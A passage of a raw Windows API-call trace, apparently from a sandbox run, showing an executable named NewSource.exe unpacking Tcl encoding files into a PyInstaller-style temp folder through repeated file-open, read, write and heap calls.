lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.101] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.101] CloseHandle (hObject=0x10c) returned 1 [0036.101] GetLastError () returned 0x0 [0036.101] SetLastError (dwErrCode=0x0) [0036.101] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp863.enc") returned 68 [0036.101] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp863.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp863.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.101] GetLastError () returned 0x2 [0036.101] SetLastError (dwErrCode=0x2) [0036.101] GetLastError () returned 0x2 [0036.101] SetLastError (dwErrCode=0x2) [0036.101] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp863.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp863.enc", lpFilePart=0x0) returned 0x43 [0036.101] GetLastError () returned 0x2 [0036.101] SetLastError (dwErrCode=0x2) [0036.101] GetLastError () returned 0x2 [0036.101] SetLastError (dwErrCode=0x2) [0036.101] GetLastError () returned 0x2 [0036.101] SetLastError (dwErrCode=0x2) [0036.101] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp863.enc") returned 68 [0036.101] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.101] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp863.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp863.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.102] GetFileType (hFile=0x10c) returned 0x1 [0036.102] htonl (hostlong=0x42040000) returned 0x442 [0036.102] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.102] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x442, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x442, lpOverlapped=0x0) returned 1 [0036.103] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.103] CloseHandle (hObject=0x10c) returned 1 [0036.104] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.104] htonl (hostlong=0x30000000) returned 0x30 [0036.104] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.104] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.104] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.104] GetFileType (hFile=0x10c) returned 0x1 [0036.104] htonl (hostlong=0xd2735100) returned 0x5173d2 [0036.104] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5623d2, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.104] htonl (hostlong=0x1d020000) returned 0x21d [0036.104] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x21d) returned 0x550600 [0036.104] htonl (hostlong=0x1d020000) returned 0x21d [0036.104] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.104] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.104] htonl (hostlong=0x42040000) returned 0x442 [0036.104] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x442) returned 0x55e278 [0036.104] htonl (hostlong=0x1d020000) returned 0x21d [0036.104] htonl (hostlong=0x42040000) returned 0x442 [0036.104] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.104] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.104] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.104] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.105] CloseHandle (hObject=0x10c) returned 1 [0036.105] GetLastError () returned 0x0 [0036.105] SetLastError (dwErrCode=0x0) [0036.105] GetLastError () returned 0x0 [0036.105] SetLastError (dwErrCode=0x0) [0036.105] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.105] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.105] GetFileType (hFile=0x10c) returned 0x1 [0036.105] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.105] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.105] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.105] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.105] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.105] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.105] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.105] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.105] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.105] CloseHandle (hObject=0x10c) returned 1 [0036.105] GetLastError () returned 0x0 [0036.105] SetLastError (dwErrCode=0x0) [0036.105] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.105] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.105] GetFileType (hFile=0x10c) returned 0x1 [0036.105] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.106] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.106] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.106] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.106] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.106] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.106] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.106] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.106] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.106] CloseHandle (hObject=0x10c) returned 1 [0036.106] GetLastError () returned 0x0 [0036.106] SetLastError (dwErrCode=0x0) [0036.106] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp864.enc") returned 68 [0036.106] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp864.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp864.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.106] GetLastError () returned 0x2 [0036.106] SetLastError (dwErrCode=0x2) [0036.106] GetLastError () returned 0x2 [0036.106] SetLastError (dwErrCode=0x2) [0036.106] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp864.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp864.enc", lpFilePart=0x0) returned 0x43 [0036.106] GetLastError () returned 0x2 [0036.106] SetLastError (dwErrCode=0x2) [0036.106] GetLastError () returned 0x2 [0036.106] SetLastError (dwErrCode=0x2) [0036.106] GetLastError () returned 0x2 [0036.106] SetLastError (dwErrCode=0x2) [0036.106] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp864.enc") returned 68 [0036.106] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.106] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp864.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp864.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.107] GetFileType (hFile=0x10c) returned 0x1 [0036.107] htonl (hostlong=0x42040000) returned 0x442 [0036.107] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.107] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x442, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x442, lpOverlapped=0x0) returned 1 [0036.108] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.108] CloseHandle (hObject=0x10c) returned 1 [0036.108] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.108] htonl (hostlong=0x30000000) returned 0x30 [0036.108] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.108] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.108] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.108] GetFileType (hFile=0x10c) returned 0x1 [0036.108] htonl (hostlong=0xef755100) returned 0x5175ef [0036.108] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5625ef, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.109] htonl (hostlong=0x16020000) returned 0x216 [0036.109] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x216) returned 0x550600 [0036.109] htonl (hostlong=0x16020000) returned 0x216 [0036.109] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.109] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.109] htonl (hostlong=0x42040000) returned 0x442 [0036.109] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x442) returned 0x55e278 [0036.109] htonl (hostlong=0x16020000) returned 0x216 [0036.109] htonl (hostlong=0x42040000) returned 0x442 [0036.109] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.109] CloseHandle (hObject=0x10c) returned 1 [0036.109] GetLastError () returned 0x0 [0036.109] SetLastError (dwErrCode=0x0) [0036.109] GetLastError () returned 0x0 [0036.109] SetLastError (dwErrCode=0x0) [0036.109] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.109] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.109] GetFileType (hFile=0x10c) returned 0x1 [0036.109] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.109] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.109] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.109] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.109] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.109] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.110] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.110] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.110] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.110] CloseHandle (hObject=0x10c) returned 1 [0036.110] GetLastError () returned 0x0 [0036.110] SetLastError (dwErrCode=0x0) [0036.110] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.110] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.110] GetFileType (hFile=0x10c) returned 0x1 [0036.110] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.110] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.110] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.110] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.110] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.110] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.110] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.110] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.110] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.110] CloseHandle (hObject=0x10c) returned 1 [0036.111] GetLastError () returned 0x0 [0036.111] SetLastError (dwErrCode=0x0) [0036.111] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp865.enc") returned 68 [0036.111] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp865.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp865.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.111] GetLastError () returned 0x2 [0036.111] SetLastError (dwErrCode=0x2) [0036.111] GetLastError () returned 0x2 [0036.111] SetLastError (dwErrCode=0x2) [0036.111] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp865.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp865.enc", lpFilePart=0x0) returned 0x43 [0036.111] GetLastError () returned 0x2 [0036.111] SetLastError (dwErrCode=0x2) [0036.111] GetLastError () returned 0x2 [0036.111] SetLastError (dwErrCode=0x2) [0036.111] GetLastError () returned 0x2 [0036.111] SetLastError (dwErrCode=0x2) [0036.111] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp865.enc") returned 68 [0036.111] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.111] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp865.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp865.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.111] GetFileType (hFile=0x10c) returned 0x1 [0036.111] htonl (hostlong=0x42040000) returned 0x442 [0036.111] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.111] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x442, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x442, lpOverlapped=0x0) returned 1 [0036.112] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.112] CloseHandle (hObject=0x10c) returned 1 [0036.113] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.113] htonl (hostlong=0x30000000) returned 0x30 [0036.113] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.113] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.113] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.113] GetFileType (hFile=0x10c) returned 0x1 [0036.113] htonl (hostlong=0x5785100) returned 0x517805 [0036.113] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x562805, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.113] htonl (hostlong=0x18020000) returned 0x218 [0036.113] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x218) returned 0x550600 [0036.113] htonl (hostlong=0x18020000) returned 0x218 [0036.113] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.113] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.114] htonl (hostlong=0x42040000) returned 0x442 [0036.114] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x442) returned 0x55e278 [0036.114] htonl (hostlong=0x18020000) returned 0x218 [0036.114] htonl (hostlong=0x42040000) returned 0x442 [0036.114] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.114] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.114] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.114] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.114] CloseHandle (hObject=0x10c) returned 1 [0036.114] GetLastError () returned 0x0 [0036.114] SetLastError (dwErrCode=0x0) [0036.114] GetLastError () returned 0x0 [0036.114] SetLastError (dwErrCode=0x0) [0036.114] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, 